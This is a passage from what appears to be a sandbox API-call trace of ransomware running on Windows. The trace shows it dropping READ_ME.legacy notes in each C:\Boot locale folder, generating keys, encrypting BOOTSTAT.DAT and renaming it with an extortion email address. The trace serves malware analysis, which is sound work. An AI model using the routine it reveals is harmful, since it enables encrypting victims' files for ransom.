lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc4938cb0, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc4938cb0, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0xc4938cb0, ftLastWriteTime.dwHighDateTime=0x1d32764, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="sk-SK", cAlternateFileName="")) returned 1 [0082.331] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x578698 | out: hHeap=0x520000) returned 1 [0082.331] GetLastError () returned 0x0 [0082.331] SetLastError (dwErrCode=0x0) [0082.331] GetLastError () returned 0x0 [0082.331] SetLastError (dwErrCode=0x0) [0082.331] GetLastError () returned 0x0 [0082.331] SetLastError (dwErrCode=0x0) [0082.332] GetLastError () returned 0x0 [0082.332] SetLastError (dwErrCode=0x0) [0082.332] GetLastError () returned 0x0 [0082.332] SetLastError (dwErrCode=0x0) [0082.332] GetLastError () returned 0x0 [0082.332] SetLastError (dwErrCode=0x0) [0082.332] CreateFileW (lpFileName="\\Boot\\sk-SK\\READ_ME.legacy" (normalized: "c:\\boot\\sk-sk\\read_me.legacy"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x458 [0082.333] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x578140 | out: hHeap=0x520000) returned 1 [0082.333] WriteFile (in: hFile=0x458, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0082.334] CloseHandle (hObject=0x458) returned 1 [0082.334] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x578770 | out: hHeap=0x520000) returned 1 [0082.334] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x54d0c0 | out: hHeap=0x520000) returned 1 [0082.335] FindNextFileW (in: hFindFile=0x552de0, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc4938cb0, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc495eef9, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0xc495eef9, ftLastWriteTime.dwHighDateTime=0x1d32764, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="sl-SI", cAlternateFileName="")) returned 1 [0082.335] SetLastError (dwErrCode=0x0) [0082.335] GetLastError () returned 0x0 [0082.335] SetLastError (dwErrCode=0x0) [0082.335] GetLastError () returned 0x0 [0082.335] SetLastError (dwErrCode=0x0) [0082.335] SetLastError (dwErrCode=0x0) [0082.335] GetLastError () returned 0x0 [0082.335] SetLastError (dwErrCode=0x0) [0082.335] GetLastError () returned 0x0 [0082.335] SetLastError (dwErrCode=0x0) [0082.335] CreateFileW (lpFileName="\\Boot\\sl-SI\\READ_ME.legacy" (normalized: "c:\\boot\\sl-si\\read_me.legacy"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x458 [0082.336] WriteFile (in: hFile=0x458, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0082.337] CloseHandle (hObject=0x458) returned 1 [0082.337] FindNextFileW (in: hFindFile=0x552de0, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc495eef9, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0x5168548b, ftLastAccessTime.dwHighDateTime=0x1d3271b, ftLastWriteTime.dwLowDateTime=0x5168548b, ftLastWriteTime.dwHighDateTime=0x1d3271b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="sr-Latn-CS", cAlternateFileName="SR-LAT~1")) returned 1 [0082.337] SetLastError (dwErrCode=0x0) [0082.337] GetLastError () returned 0x0 [0082.337] SetLastError (dwErrCode=0x0) [0082.337] GetLastError () returned 0x0 [0082.338] SetLastError (dwErrCode=0x0) [0082.338] SetLastError (dwErrCode=0x0) [0082.338] GetLastError () returned 0x0 [0082.338] SetLastError (dwErrCode=0x0) [0082.338] GetLastError () returned 0x0 [0082.338] SetLastError (dwErrCode=0x0) [0082.338] CreateFileW (lpFileName="\\Boot\\sr-Latn-CS\\READ_ME.legacy" (normalized: "c:\\boot\\sr-latn-cs\\read_me.legacy"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x458 [0082.340] WriteFile (in: hFile=0x458, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0082.341] CloseHandle (hObject=0x458) returned 1 [0082.341] FindNextFileW (in: hFindFile=0x552de0, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc495eef9, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc495eef9, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0xc495eef9, ftLastWriteTime.dwHighDateTime=0x1d32764, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="sr-Latn-RS", cAlternateFileName="SR-LAT~2")) returned 1 [0082.341] SetLastError (dwErrCode=0x0) [0082.341] GetLastError () returned 0x0 [0082.341] SetLastError (dwErrCode=0x0) [0082.341] GetLastError () returned 0x0 [0082.341] SetLastError (dwErrCode=0x0) [0082.341] SetLastError (dwErrCode=0x0) [0082.341] GetLastError () returned 0x0 [0082.341] SetLastError (dwErrCode=0x0) [0082.341] GetLastError () returned 0x0 [0082.341] SetLastError (dwErrCode=0x0) [0082.341] CreateFileW (lpFileName="\\Boot\\sr-Latn-RS\\READ_ME.legacy" (normalized: "c:\\boot\\sr-latn-rs\\read_me.legacy"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x458 [0082.342] WriteFile (in: hFile=0x458, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0082.343] CloseHandle (hObject=0x458) returned 1 [0082.344] FindNextFileW (in: hFindFile=0x552de0, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc495eef9, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa01adf43, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef6a2250, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="sv-SE", cAlternateFileName="")) returned 1 [0082.344] SetLastError (dwErrCode=0x0) [0082.344] GetLastError () returned 0x0 [0082.344] SetLastError (dwErrCode=0x0) [0082.344] GetLastError () returned 0x0 [0082.344] SetLastError (dwErrCode=0x0) [0082.344] SetLastError (dwErrCode=0x0) [0082.344] GetLastError () returned 0x0 [0082.344] SetLastError (dwErrCode=0x0) [0082.344] GetLastError () returned 0x0 [0082.344] SetLastError (dwErrCode=0x0) [0082.344] CreateFileW (lpFileName="\\Boot\\sv-SE\\READ_ME.legacy" (normalized: "c:\\boot\\sv-se\\read_me.legacy"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x458 [0082.346] WriteFile (in: hFile=0x458, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0082.347] CloseHandle (hObject=0x458) returned 1 [0082.347] FindNextFileW (in: hFindFile=0x552de0, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc495eef9, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa0206504, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef6b5aca, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="tr-TR", cAlternateFileName="")) returned 1 [0082.347] SetLastError (dwErrCode=0x0) [0082.347] GetLastError () returned 0x0 [0082.347] SetLastError (dwErrCode=0x0) [0082.347] GetLastError () returned 0x0 [0082.347] SetLastError (dwErrCode=0x0) [0082.347] SetLastError (dwErrCode=0x0) [0082.347] GetLastError () returned 0x0 [0082.347] SetLastError (dwErrCode=0x0) [0082.347] GetLastError () returned 0x0 [0082.347] SetLastError (dwErrCode=0x0) [0082.347] CreateFileW (lpFileName="\\Boot\\tr-TR\\READ_ME.legacy" (normalized: "c:\\boot\\tr-tr\\read_me.legacy"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x458 [0082.348] WriteFile (in: hFile=0x458, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0082.348] CloseHandle (hObject=0x458) returned 1 [0082.349] FindNextFileW (in: hFindFile=0x552de0, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc495eef9, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa0206a30, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xc495eef9, ftLastWriteTime.dwHighDateTime=0x1d32764, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="uk-UA", cAlternateFileName="")) returned 1 [0082.349] CreateFileW (lpFileName="\\Boot\\uk-UA\\READ_ME.legacy" (normalized: "c:\\boot\\uk-ua\\read_me.legacy"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x458 [0082.350] WriteFile (in: hFile=0x458, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0082.351] CloseHandle (hObject=0x458) returned 1 [0082.351] FindNextFileW (in: hFindFile=0x552de0, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xef6c9427, ftCreationTime.dwHighDateTime=0x1d3273d, ftLastAccessTime.dwLowDateTime=0xef6c9427, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf2d79a60, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0x1236, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="updaterevokesipolicy.p7b", cAlternateFileName="UPDATE~1.P7B")) returned 1 [0082.351] FindNextFileW (in: hFindFile=0x552de0, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc498516b, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa0207100, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef6d7e9a, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="zh-CN", cAlternateFileName="")) returned 1 [0082.351] CreateFileW (lpFileName="\\Boot\\zh-CN\\READ_ME.legacy" (normalized: "c:\\boot\\zh-cn\\read_me.legacy"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x458 [0082.353] WriteFile (in: hFile=0x458, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0082.358] CloseHandle (hObject=0x458) returned 1 [0082.358] FindNextFileW (in: hFindFile=0x552de0, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc498516b, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa0207675, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x518ea25e, ftLastWriteTime.dwHighDateTime=0x1d3271b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="zh-HK", cAlternateFileName="")) returned 1 [0082.359] CreateFileW (lpFileName="\\Boot\\zh-HK\\READ_ME.legacy" (normalized: "c:\\boot\\zh-hk\\read_me.legacy"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x458 [0082.359] WriteFile (in: hFile=0x458, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0082.360] CloseHandle (hObject=0x458) returned 1 [0082.360] FindNextFileW (in: hFindFile=0x552de0, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc498516b, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef6e6901, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xef6e6901, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="zh-TW", cAlternateFileName="")) returned 1 [0082.360] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x578698 [0082.360] GetLastError () returned 0x0 [0082.360] GetLastError () returned 0x0 [0082.360] GetLastError () returned 0x0 [0082.361] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20) returned 0x563d20 [0082.361] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20) returned 0x563910 [0082.361] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20) returned 0x563988 [0082.361] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x8) returned 0x54d240 [0082.361] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x8) returned 0x54d190 [0082.361] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x578140 [0082.361] GetLastError () returned 0x0 [0082.361] GetLastError () returned 0x0 [0082.361] GetLastError () returned 0x0 [0082.361] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x579028 [0082.361] CreateFileW (lpFileName="\\Boot\\zh-TW\\READ_ME.legacy" (normalized: "c:\\boot\\zh-tw\\read_me.legacy"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x458 [0082.362] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x579028 | out: hHeap=0x520000) returned 1 [0082.362] WriteFile (in: hFile=0x458, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0082.363] CloseHandle (hObject=0x458) returned 1 [0082.363] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x578140 | out: hHeap=0x520000) returned 1 [0082.363] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x54d190 | out: hHeap=0x520000) returned 1 [0082.363] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x54d240 | out: hHeap=0x520000) returned 1 [0082.363] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x563988 | out: hHeap=0x520000) returned 1 [0082.363] FindNextFileW (in: hFindFile=0x552de0, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc498516b, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef6e6901, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xef6e6901, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="zh-TW", cAlternateFileName="")) returned 0 [0082.363] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x578140 [0082.363] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x100) returned 0x557758 [0082.364] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x8) returned 0x54d090 [0082.364] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x557758 | out: pbBuffer=0x557758) returned 1 [0082.364] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x54d090 | out: pbBuffer=0x54d090) returned 1 [0082.364] SetFileAttributesW (lpFileName="\\Boot\\updaterevokesipolicy.p7b", dwFileAttributes=0x80) returned 0 [0082.435] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x578ec0 [0082.435] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xa0) returned 0x5519c8 [0082.435] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x578ec0 | out: hHeap=0x520000) returned 1 [0082.435] CreateFileW (lpFileName="\\Boot\\updaterevokesipolicy.p7b" (normalized: "c:\\boot\\updaterevokesipolicy.p7b"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0082.435] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5519c8 | out: hHeap=0x520000) returned 1 [0082.435] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x578140 | out: hHeap=0x520000) returned 1 [0082.435] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x578770 | out: hHeap=0x520000) returned 1 [0082.435] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x30) returned 0x5672d8 [0082.435] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x100) returned 0x557860 [0082.436] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x8) returned 0x54d0e0 [0082.436] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x557860 | out: pbBuffer=0x557860) returned 1 [0082.436] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x54d0e0 | out: pbBuffer=0x54d0e0) returned 1 [0082.436] SetFileAttributesW (lpFileName="\\Boot\\memtest.exe", dwFileAttributes=0x80) returned 0 [0082.436] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x30) returned 0x566cb8 [0082.436] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x80) returned 0x559490 [0082.436] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x566cb8 | out: hHeap=0x520000) returned 1 [0082.436] CreateFileW (lpFileName="\\Boot\\memtest.exe" (normalized: "c:\\boot\\memtest.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0082.436] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x559490 | out: hHeap=0x520000) returned 1 [0082.436] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5672d8 | out: hHeap=0x520000) returned 1 [0082.436] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x540a78 | out: hHeap=0x520000) returned 1 [0082.436] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x30) returned 0x5672d8 [0082.436] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x100) returned 0x556300 [0082.436] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x8) returned 0x54d0a0 [0082.437] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x556300 | out: pbBuffer=0x556300) returned 1 [0082.437] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x54d0a0 | out: pbBuffer=0x54d0a0) returned 1 [0082.437] SetFileAttributesW (lpFileName="\\Boot\\bootvhd.dll", dwFileAttributes=0x80) returned 0 [0082.437] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x30) returned 0x567118 [0082.437] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x80) returned 0x559e20 [0082.437] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x567118 | out: hHeap=0x520000) returned 1 [0082.437] CreateFileW (lpFileName="\\Boot\\bootvhd.dll" (normalized: "c:\\boot\\bootvhd.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0082.437] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x559e20 | out: hHeap=0x520000) returned 1 [0082.437] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5672d8 | out: hHeap=0x520000) returned 1 [0082.437] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x574860 | out: hHeap=0x520000) returned 1 [0082.437] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x30) returned 0x5672d8 [0082.437] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x100) returned 0x556408 [0082.437] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x8) returned 0x54d1c0 [0082.438] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x556408 | out: pbBuffer=0x556408) returned 1 [0082.438] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x54d1c0 | out: pbBuffer=0x54d1c0) returned 1 [0082.438] SetFileAttributesW (lpFileName="\\Boot\\BOOTSTAT.DAT", dwFileAttributes=0x80) returned 1 [0082.439] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x30) returned 0x566fc8 [0082.440] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x80) returned 0x5599e0 [0082.440] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x566fc8 | out: hHeap=0x520000) returned 1 [0082.440] CreateFileW (lpFileName="\\Boot\\BOOTSTAT.DAT" (normalized: "c:\\boot\\bootstat.dat"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x458 [0082.440] GetFileSizeEx (in: hFile=0x458, lpFileSize=0x2e1f998 | out: lpFileSize=0x2e1f998*=65536) returned 1 [0082.440] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x10000) returned 0x57f150 [0082.440] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x10000) returned 0x58f158 [0082.440] ReadFile (in: hFile=0x458, lpBuffer=0x57f150, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x57f150*, lpNumberOfBytesRead=0x2e1f9bc*=0x10000, lpOverlapped=0x0) returned 1 [0082.447] SetFilePointer (in: hFile=0x458, lDistanceToMove=-65536, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0082.447] WriteFile (in: hFile=0x458, lpBuffer=0x58f158*, nNumberOfBytesToWrite=0x10000, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x58f158*, lpNumberOfBytesWritten=0x2e1f9bc*=0x10000, lpOverlapped=0x0) returned 1 [0082.448] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x57f150 | out: hHeap=0x520000) returned 1 [0082.448] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x58f158 | out: hHeap=0x520000) returned 1 [0082.449] SetFilePointer (in: hFile=0x458, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x10000 [0082.449] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0082.449] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x556408*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x556408*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0082.451] WriteFile (in: hFile=0x458, lpBuffer=0x556408*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x556408*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0082.451] WriteFile (in: hFile=0x458, lpBuffer=0x54d1c0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x54d1c0*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0082.452] CloseHandle (hObject=0x458) returned 1 [0082.460] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x556408 | out: hHeap=0x520000) returned 1 [0082.460] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x54d1c0 | out: hHeap=0x520000) returned 1 [0082.460] MoveFileExW (lpExistingFileName="\\Boot\\BOOTSTAT.DAT" (normalized: "c:\\boot\\bootstat.dat"), lpNewFileName="\\Boot\\BOOTSTAT.DAT.1506877342345.nordfox@tutanota.com.legacy" (normalized: "c:\\boot\\bootstat.dat.1506877342345.nordfox@tutanota.com.legacy"), dwFlags=0x8) returned 1 [0082.482] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5599e0 | out: hHeap=0x520000) returned 1 [0082.482] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5672d8 | out: hHeap=0x520000) returned 1 [0082.482] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x55aa60 | out: hHeap=0x520000) returned 1 [0082.482] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x30) returned 0x5672d8 [0082.482] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, 